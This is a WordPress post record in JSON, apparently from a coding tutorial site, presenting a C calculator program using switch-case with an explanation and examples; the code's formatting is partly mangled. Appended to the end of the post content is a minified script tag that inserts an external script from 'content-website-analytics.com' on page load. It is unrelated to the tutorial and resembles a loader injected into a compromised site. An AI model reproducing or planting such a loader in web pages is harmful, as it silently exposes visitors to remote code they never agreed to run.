{"id":1068,"date":"2025-11-21T08:54:48","date_gmt":"2025-11-21T03:24:48","guid":{"rendered":"https:\/\/codexplained.in\/?p=1068"},"modified":"2025-11-21T08:54:48","modified_gmt":"2025-11-21T03:24:48","slug":"simple-calculator-using-switch-case-2","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1068","title":{"rendered":"Simple Calculator using Switch Case:"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">include<\/h1>\n\n\n\n<p>int main() {<br>char operation;<br>float num1, num2, result;<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n\/\/ User input\nprintf(&quot;Enter first number: &quot;);\nscanf(&quot;%f&quot;, &amp;num1);\nprintf(&quot;Enter second number: &quot;);\nscanf(&quot;%f&quot;, &amp;num2);\nprintf(&quot;Enter operation (+, -, *, \/): &quot;);\nscanf(&quot; %c&quot;, &amp;operation); \/\/ Notice the space before %c to consume any whitespace\n\n\/\/ Switch-case for operations\nswitch (operation) {\n    case &#039;+&#039;:\n        result = num1 + num2;\n        printf(&quot;Result: %.2f + %.2f = %.2f\\n&quot;, num1, num2, result);\n        break;\n    case &#039;-&#039;:\n        result = num1 - num2;\n        printf(&quot;Result: %.2f - %.2f = %.2f\\n&quot;, num1, num2, result);\n        break;\n    case &#039;*&#039;:\n        result = num1 * num2;\n        printf(&quot;Result: %.2f * %.2f = %.2f\\n&quot;, num1, num2, result);\n        break;\n    case &#039;\/&#039;:\n        if (num2 != 0) {\n            result = num1 \/ num2;\n            printf(&quot;Result: %.2f \/ %.2f = %.2f\\n&quot;, num1, num2, result);\n        } else {\n            printf(&quot;Error: Division by zero!\\n&quot;);\n        }\n        break;\n    default:\n        printf(&quot;Error: Invalid operation!\\n&quot;);\n        break;\n}\n\nreturn 0;\n<\/pre><\/div>\n\n\n<p>}<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation :<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Input Section<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program prompts the user to enter two numbers and the desired operation.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Switch-Case Structure<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>switch<\/code> statement checks the operation input by the user.<\/li>\n\n\n\n<li>Each case corresponds to an arithmetic operation:\n<ul class=\"wp-block-list\">\n<li><strong>Addition<\/strong>: For <code>+<\/code>, it adds the two numbers.<\/li>\n\n\n\n<li><strong>Subtraction<\/strong>: For <code>-<\/code>, it subtracts the second number from the first.<\/li>\n\n\n\n<li><strong>Multiplication<\/strong>: For <code>*<\/code>, it multiplies the two numbers.<\/li>\n\n\n\n<li><strong>Division<\/strong>: For <code>\/<\/code>, it checks for division by zero before performing the operation.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Output<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The result is printed in a formatted manner using <code>printf<\/code>.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Examples :<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Example 1<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Input: <code>num1 = 10<\/code>, <code>num2 = 5<\/code>, <code>operation = '+'<\/code><\/li>\n\n\n\n<li>Output: <code>Result: 10.00 + 5.00 = 15.00<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Example 2<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Input: <code>num1 = 10<\/code>, <code>num2 = 5<\/code>, <code>operation = '-'<\/code><\/li>\n\n\n\n<li>Output: <code>Result: 10.00 - 5.00 = 5.00<\/code><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>include int main() {char operation;float num1, num2, result; } Explanation : Examples :<\/p>\n","protected":false},"author":49,"featured_media":1063,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1068","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1068","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/49"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1068"}],"version-history":[{"count":2,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1068\/revisions"}],"predecessor-version":[{"id":1243,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1068\/revisions\/1243"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1063"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1068"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1068"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1068"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}